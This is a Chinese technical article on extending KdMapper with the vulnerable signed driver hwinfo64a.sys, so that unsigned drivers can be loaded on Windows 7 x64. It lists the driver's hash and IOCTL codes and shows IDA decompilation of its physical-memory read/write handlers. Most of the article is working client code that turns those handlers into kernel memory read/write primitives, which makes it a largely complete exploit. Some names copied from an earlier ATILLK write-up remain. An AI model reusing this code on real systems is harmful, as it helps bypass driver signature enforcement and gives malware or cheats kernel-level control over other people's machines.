1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
驱动名称 | hwinfo64a.sys |
时间戳 | 54720A27 |
MD5 | E5805896A55D4166C20F216249F40FA3 |
文件版本 | 8.98.0.0 |
设备名称 | \\.\HWiNFO32 |
读物理内存 | 0x85FE2608 |
写物理内存 | 0x85FE2668 |
Windows 7 | 支持 |
Windows 10 | 不支持 |
Windows 11 | 不支持 |
3.IDA分析
3.1 入口函数:
NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
NTSTATUS result; // eax
int v4; // ebx
struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-28h] BYREF
struct _UNICODE_STRING SymbolicLinkName; // [rsp+50h] [rbp-18h] BYREF
PDEVICE_OBJECT DeviceObject; // [rsp+80h] [rbp+18h] BYREF
RtlInitUnicodeString(&DestinationString, L"\\Device\\HWiNFO32");
result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0, 0, &DeviceObject);
if (result >= 0)
{
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_113C0;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_113C0;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_1370C;
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\HWiNFO32");
v4 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
if (v4 >= 0)
{
Lock = 0i64;
UnicodeString.Length = 0;
ListHead.Blink = &ListHead;
ListHead.Flink = &ListHead;
UnicodeString.Buffer = 0i64;
}
else
{
IoDeleteDevice(DeviceObject);
}
result = v4;
}
return result;
}
3.2 DeviceIoControl
__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, IRP* pIrp, __int64 a3, __int64 a4)
{
_IO_STACK_LOCATION* pIosp; // r12
unsigned int nIoControlCode; // eax
NTSTATUS ntStatus; // ebx
HWINFO64A_READ_PHYSICAL_MEMORY_INFO* pReadPhysicalMemoryInfo; // rbx
PVOID pMappedIoSpace; // rax
HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO* pWritePhysicalMemoryInfo; // rbx
_DWORD* pMappedIoSpaceWrite; // rax
struct _IO_STATUS_BLOCK IoStatusBlock; // [rsp+108h] [rbp-90h] BYREF
struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+118h] [rbp-80h] BYREF
struct _UNICODE_STRING DestinationString; // [rsp+148h] [rbp-50h] BYREF
pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
if (nIoControlCode > 0x85FE2658)
{
if (nIoControlCode <= 0x85FE2684)
{
case 0x85FE2668:
pWritePhysicalMemoryInfo = (HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;// 写物理内存,一次一个DWORD大小
pMappedIoSpaceWrite = MapIoSpaceList(pWritePhysicalMemoryInfo->PhysicalAddress, 4ui64);
if (pMappedIoSpaceWrite)
{
*pMappedIoSpaceWrite = pWritePhysicalMemoryInfo->Data;
ntStatus = 0;
pIrp->IoStatus.Information = 16i64;
}
else
{
ntStatus = 0xC0000001;
pIrp->IoStatus.Information = 0i64;
}
goto LABEL_389;
case 0x85FE2608:
pReadPhysicalMemoryInfo = (HWINFO64A_READ_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;// 读物理内存
pMappedIoSpace = MapIoSpaceList(pReadPhysicalMemoryInfo->PhysicalAddress, pReadPhysicalMemoryInfo->nSize);
if (pMappedIoSpace)
{
memmove(pReadPhysicalMemoryInfo->ReadBuffer, pMappedIoSpace, pReadPhysicalMemoryInfo->nSize);
ntStatus = 0;
pIrp->IoStatus.Information = 0x10010i64;
}
else
{
ntStatus = 0xC0000001;
pIrp->IoStatus.Information = 0i64;
}
goto LABEL_389;
}
}
LABEL_389:
pIrp->IoStatus.Status = ntStatus;
IofCompleteRequest(pIrp, 0);
return (unsigned int)ntStatus;
}
- 读物理内存 0x85FE2608
从 HWINFO64A_READ_PHYSICAL_MEMORY_INFO 的物理地址 PhysicalAddress 复制数据到 ATILLK_PHYSICAL_MEMORY_INFO 的内容地址 ReadBuffer 。
由第 43 行的代码 pIrp->IoStatus.Information = 0x10010i64 可以看出,读取的代码的缓冲区大小为 0x10010,在实现代码逻辑时决定定义缓冲大小为 0x10010,实际的最大读取大小为 0x10000,方便处理。
- 写物理内存 0x85FE2668
从 HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO 的内容 Data 复制数据到 HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO 的物理地址 PhysicalAddress 。
由第 25 行可以看出每次写入物理地址的大小为一个 DWORD,对于数据量大的要分批进行写入。
3.3 MapIoSpaceList
PVOID __fastcall MapIoSpaceList(PHYSICAL_ADDRESS PhysicalAddress, SIZE_T Size)
{
KIRQL oldIrql; // al
_LIST_ENTRY* pListEntry; // rbx
PVOID pMappedIoSpace; // rbx
MAP_IO_SPACE_LIST_INFO* pListInfo; // rdx
if (!PhysicalAddress.QuadPart || !Size)
return 0i64;
oldIrql = KeAcquireSpinLockRaiseToDpc(&Lock);
pListEntry = ListHead.Flink;
if (ListHead.Flink == &ListHead)
{
LABEL_7:
KeReleaseSpinLock(&Lock, oldIrql);
pMappedIoSpace = MmMapIoSpace(PhysicalAddress, Size, MmNonCached);
if (pMappedIoSpace)
{
pListInfo = (MAP_IO_SPACE_LIST_INFO*)ExAllocatePoolWithTag(NonPagedPool, 0x28ui64, 0x4D4D4D4Du);
if (pListInfo)
{
pListInfo->MappedAddress = pMappedIoSpace;
pListInfo->Size = Size;
pListInfo->PhysicalAddress = PhysicalAddress;
ExInterlockedInsertTailList(&ListHead, &pListInfo->ListEntry, &Lock);
return pMappedIoSpace;
}
}
return 0i64;
}
while (pListEntry[1].Flink != (_LIST_ENTRY*)PhysicalAddress.QuadPart || (_LIST_ENTRY*)Size > pListEntry[1].Blink)
{
pListEntry = pListEntry->Flink;
if (pListEntry == &ListHead)
goto LABEL_7;
}
KeReleaseSpinLock(&Lock, oldIrql);
return pListEntry[2].Flink;
}
由代码可以看出该函数是调用 MmMapIoSpace 映射物理地址,然后加入一个链表,下次再映射相同地址时可以直接返回。同时该链表在驱动卸载时进行 MmUnmapIoSpace 取消映射。
由代码第 8 行可以看出,对于映射物理地址为 0 的时候返回失败,所以在最终代码中对于 0 地址的映射要跳过,或做其它相关判断的处理。
3.4 HWINFO64A_READ_PHYSICAL_MEMORY_INFO结构
00000000 HWINFO64A_READ_PHYSICAL_MEMORY_INFO struc ; (sizeof=0xD, copyof_381)
00000000 PhysicalAddress PHYSICAL_ADDRESS ?
00000008 nSize dd ?
0000000C ReadBuffer db ?
0000000D HWINFO64A_READ_PHYSICAL_MEMORY_INFO ends
3.5 HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO结构
00000000 HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO struc ; (sizeof=0xC, copyof_384)
00000000 PhysicalAddress PHYSICAL_ADDRESS ?
00000008 Data dd ?
0000000C HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO ends
3.6 MAP_IO_SPACE_LIST_INFO结构
0000000 MAP_IO_SPACE_LIST_INFO struc ; (sizeof=0x28, copyof_387)
00000000 ListEntry LIST_ENTRY ?
00000010 PhysicalAddress PHYSICAL_ADDRESS ?
00000018 Size dq ?
00000020 MappedAddress dq ? ; offset
00000028 MAP_IO_SPACE_LIST_INFO ends
3.7 使用注意事项
实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
4. 代码实现
4.1 .h文件
#pragma pack(push)
#pragma pack(1)
typedef struct _HWINFO64A_READ_PHYSICAL_MEMORY_INFO
{
PHYSICAL_ADDRESS PhysicalAddress;
ULONG Size;
BYTE ReadBuffer[1];
} HWINFO64A_READ_PHYSICAL_MEMORY_INFO, *PHWINFO64A_READ_PHYSICAL_MEMORY_INFO;
typedef struct _HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO {
PHYSICAL_ADDRESS PhysicalAddress;
DWORD Data;
} HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO, * PHWINFO64A_WRITE_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)
#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif
#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif
#define ATILLK64_DEVICE_TYPE (DWORD)0x9C40
#define ATILLK64_READ_PHYSICAL_MEMORY (DWORD)0x951
#define ATILLK64_WRITE_PHYSICAL_MEMORY (DWORD)0x952
#define ATILLK64_UNMAP_PHYSICAL_MEMORY_WITH_UNMAP_FUNCID (DWORD)0x959
#define HWINFO64A_DEVICE_TYPE (DWORD)0x85FE
#define HWINFO64A_READ_PHYSICAL_MEMORY_FUNCID (DWORD)0x982
#define HWINFO64A_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x99A
#define READ_BUFFER_SIZE (0x10010)
#define READ_SIZE_LIMIT (0X10000)
#define IOCTL_HWINFO64A_READ_PHYSICAL_MEMORY \
CTL_CODE(HWINFO64A_DEVICE_TYPE, HWINFO64A_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x85FE2608
#define IOCTL_HWINFO64A_WRITE_PHYSICAL_MEMORY \
CTL_CODE(HWINFO64A_DEVICE_TYPE, HWINFO64A_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x85FE2668
4.2 .c文件
NTSTATUS realix_driver::SuperCallDriverEx(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength,
_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
NULL,
NULL,
NULL,
&ioStatus,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength);
if (ntStatus == STATUS_PENDING) {
ntStatus = NtWaitForSingleObject(DeviceHandle,
FALSE,
NULL);
}
if (IoStatus)
*IoStatus = ioStatus;
return ntStatus;
}
BOOL realix_driver::SuperCallDriver(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength)
{
BOOL bResult;
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = SuperCallDriverEx(
DeviceHandle,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength,
&ioStatus);
bResult = NT_SUCCESS(ntStatus);
SetLastError(RtlNtStatusToDosError(ntStatus));
return bResult;
}
BOOL WINAPI realix_driver::SuperReadWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes,
_In_ BOOLEAN DoWrite)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
__try {
if (DoWrite) {
//写物理内存每次只能写四个字节
DWORD dwLoopCount = NumberOfBytes / sizeof(ULONG);
DWORD dwRemainingSize = NumberOfBytes % sizeof(ULONG);
HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO writeRequest = { 0 };
DWORD dwIndex = 0;
for (dwIndex = 0; dwIndex < dwLoopCount; dwIndex++)
{
DWORD dwData = *((DWORD*)((PUCHAR)Buffer + dwIndex * sizeof(DWORD)));
writeRequest.PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * sizeof(DWORD);
writeRequest.Data = dwData;
bResult = SuperCallDriver(DeviceHandle,
IOCTL_HWINFO64A_WRITE_PHYSICAL_MEMORY,
&writeRequest,
sizeof(writeRequest),
&writeRequest,
sizeof(writeRequest));
if (!bResult)
{
Log(L"[!] Error WritePhysicalMemory 1!" << std::endl);
break;
}
}
if ((dwLoopCount == 0) || (bResult))
{
if (dwRemainingSize != 0)
{
DWORD dwData = 0;
ULONG ulBufferSize = READ_BUFFER_SIZE;/*sizeof(HWINFO64A_READ_PHYSICAL_MEMORY_INFO) + sizeof(DWORD);*/
PHWINFO64A_READ_PHYSICAL_MEMORY_INFO pReadRequest = (PHWINFO64A_READ_PHYSICAL_MEMORY_INFO)malloc(ulBufferSize);
RtlZeroMemory(pReadRequest, ulBufferSize);
pReadRequest->PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * sizeof(DWORD);
pReadRequest->Size = sizeof(DWORD);
bResult = SuperCallDriver(DeviceHandle,
IOCTL_HWINFO64A_READ_PHYSICAL_MEMORY,
pReadRequest,
ulBufferSize,
pReadRequest,
ulBufferSize);
if (bResult)
{
dwData = *((DWORD*)pReadRequest->ReadBuffer);
RtlCopyMemory(&dwData, (PUCHAR)Buffer + dwIndex * sizeof(DWORD), dwRemainingSize);
writeRequest.PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * sizeof(DWORD);
writeRequest.Data = dwData;
bResult = SuperCallDriver(DeviceHandle,
IOCTL_HWINFO64A_WRITE_PHYSICAL_MEMORY,
&writeRequest,
sizeof(writeRequest),
&writeRequest,
sizeof(writeRequest));
if (!bResult)
{
Log(L"[!] Error WritePhysicalMemory 2!" << std::endl);
}
}
else
{
Log(L"[!] Error Read Physical Memory in WritePhysicalMemory!" << std::endl);
}
free(pReadRequest);
pReadRequest = NULL;
}
}
}
else {
DWORD dwLoopCount = NumberOfBytes / READ_SIZE_LIMIT;
DWORD dwRemainingSize = NumberOfBytes % READ_SIZE_LIMIT;
DWORD dwIndex = 0;
for (dwIndex = 0; dwIndex < dwLoopCount; dwIndex++)
{
PHWINFO64A_READ_PHYSICAL_MEMORY_INFO pReadRequest = (PHWINFO64A_READ_PHYSICAL_MEMORY_INFO)malloc(READ_BUFFER_SIZE);
RtlZeroMemory(pReadRequest, READ_BUFFER_SIZE);
pReadRequest->PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * READ_SIZE_LIMIT;
pReadRequest->Size = READ_SIZE_LIMIT;
bResult = SuperCallDriver(DeviceHandle,
IOCTL_HWINFO64A_READ_PHYSICAL_MEMORY,
pReadRequest,
READ_BUFFER_SIZE,
pReadRequest,
READ_BUFFER_SIZE);
if (bResult)
{
RtlCopyMemory((PUCHAR)Buffer + dwIndex * READ_SIZE_LIMIT, pReadRequest->ReadBuffer, READ_SIZE_LIMIT);
}
else
{
Log(L"[!] Error Read Physical Memory 1 in ReadPhysicalMemory!" << std::endl);
}
free(pReadRequest);
}
if ((dwLoopCount == 0) || (bResult))
{
if (dwRemainingSize != 0)
{
PHWINFO64A_READ_PHYSICAL_MEMORY_INFO pReadRequest = (PHWINFO64A_READ_PHYSICAL_MEMORY_INFO)malloc(READ_BUFFER_SIZE);
if (pReadRequest)
{
RtlZeroMemory(pReadRequest, READ_BUFFER_SIZE);
pReadRequest->PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * READ_SIZE_LIMIT;
pReadRequest->Size = dwRemainingSize;
bResult = SuperCallDriver(DeviceHandle,
IOCTL_HWINFO64A_READ_PHYSICAL_MEMORY,
pReadRequest,
READ_BUFFER_SIZE,
pReadRequest,
READ_BUFFER_SIZE);
if (bResult)
{
RtlCopyMemory((PUCHAR)Buffer + dwIndex * READ_SIZE_LIMIT, pReadRequest->ReadBuffer, dwRemainingSize);
}
else
{
Log(L"[!] Error Read Physical Memory 2 in ReadPhysicalMemory!" << std::endl);
}
free(pReadRequest);
pReadRequest = NULL;
}
else
{
Log(L"[!] SuperReadWritePhysicalMemory read physical memory malloc failed!" << std::endl);
}
}
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
bResult = FALSE;
dwError = GetExceptionCode();
Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
}
SetLastError(dwError);
return bResult;
}
BOOL WINAPI realix_driver::SuperReadPhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
BOOL WINAPI realix_driver::SuperWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
BOOL WINAPI realix_driver::SuperWriteKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
return bResult;
}
BOOL WINAPI realix_driver::SuperReadKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
return bResult;
}
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》。
5. 运行效果
Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。
6.特别提示
使用hwinfo64a.sys制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。